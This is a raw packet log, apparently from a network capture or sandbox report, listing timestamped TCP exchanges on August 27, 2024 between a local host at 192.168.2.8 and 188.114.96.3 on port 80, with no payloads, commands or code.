Aug 27, 2024 09:49:41.688047886 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688052893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688056946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688060999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688066006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688071012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688076973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688083887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688175917 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.688221931 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688232899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688237906 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688244104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688249111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688252926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688333988 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.688355923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688375950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688380957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688391924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688395977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688400984 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688416958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688422918 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.688500881 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.688517094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688527107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688532114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688535929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688548088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688556910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688566923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688571930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688590050 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.688640118 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.688652992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688663960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688673973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688774109 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.688793898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688824892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688836098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688838959 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.688844919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688853979 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688858986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688863993 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688868999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688872099 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.688874960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688879013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688894033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.688947916 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.688975096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.689095974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.689105988 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.689110994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.689116001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.689122915 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.689151049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.689160109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.689166069 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.689177036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.689186096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.689191103 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.689192057 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.689194918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.689199924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.689220905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.689265966 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.689296007 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.729880095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.729901075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.729912043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.729983091 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.729995966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.730011940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.730024099 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.730035067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.730040073 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.730087996 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.773653984 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.773828983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.773844004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.773855925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.773876905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.773888111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.773899078 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.773956060 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.774049997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774060965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774079084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774089098 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774101973 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.774108887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774111986 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.774122000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774135113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774146080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774147987 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.774158955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774169922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774173021 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.774183989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774203062 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.774223089 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.774224997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774236917 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774250031 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774266958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774279118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774282932 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.774303913 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.774322987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774336100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774346113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774358034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774362087 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.774386883 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.774436951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774447918 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774471045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774476051 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.774482965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774492979 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774518013 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.774539948 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.774580956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774590969 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774601936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774614096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774626017 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.774626017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774637938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774651051 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.774691105 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.774710894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774777889 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774790049 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774821043 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.774847984 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774859905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774871111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774883032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774897099 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.774898052 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.774930000 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.774944067 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.775266886 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.775278091 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.775289059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.775319099 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.775434017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.775445938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.775455952 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.775468111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.775477886 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.775480986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.775502920 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.775523901 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.775525093 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.775536060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.775546074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.775582075 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.775747061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.775758982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.775768995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.775782108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.775794983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.775799036 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.775806904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.775814056 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.775820017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.775831938 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.775835991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.775846958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.775860071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.775867939 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.775871992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.775883913 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.775890112 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.775907040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.775932074 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.775942087 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.776597977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.776611090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.776627064 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.776638985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.776654005 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.776657104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.776669025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.776679993 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.776680946 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.776690960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.776716948 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.776721954 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.776734114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.776745081 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.776763916 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.776798010 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.777504921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.777514935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.777525902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.777539015 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.777549982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.777563095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.777561903 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.777574062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.777585983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.777596951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.777606964 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.777606964 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.777606964 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.777610064 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.777622938 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.777632952 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.777633905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.777646065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.777658939 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.777677059 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.778007984 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.778019905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.778033018 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.778047085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.778059006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.778062105 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.778089046 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.778121948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.778134108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.778142929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.778153896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.778166056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.778172016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.778175116 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.778183937 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.778196096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.778199911 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.778213978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.778218985 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.778228045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.778239012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.778254032 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.778271914 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.778388023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.817625046 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.817639112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.817651033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.817662954 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.817687988 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.817701101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.817878008 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.817960978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.817986965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.818025112 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.861119032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861148119 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861160994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861181974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861196041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861207008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861208916 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.861208916 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.861218929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861231089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861242056 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.861242056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861253023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861268044 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.861268997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861284018 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.861313105 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.861422062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861434937 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861447096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861460924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861479998 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861489058 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.861493111 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861512899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861519098 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.861526966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861538887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861540079 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.861552000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861565113 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861567974 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.861577034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861589909 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861608028 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.861613035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861627102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861637115 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.861638069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861649990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861654043 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.861661911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861679077 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.861705065 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.861777067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861788034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861799002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861815929 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861828089 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861833096 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.861840010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861850977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861867905 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.861871004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861882925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861896038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861897945 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.861907005 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.861927986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861938953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861939907 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.861953020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.861979008 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.861989975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.862000942 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.862013102 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.862027884 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.862051010 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.862569094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.862580061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.862600088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.862611055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.862618923 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.862623930 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.862639904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.862653017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.862663984 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:41.862667084 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:41.862677097 CEST	80	49715	188.114.96.3	192.168.2.8
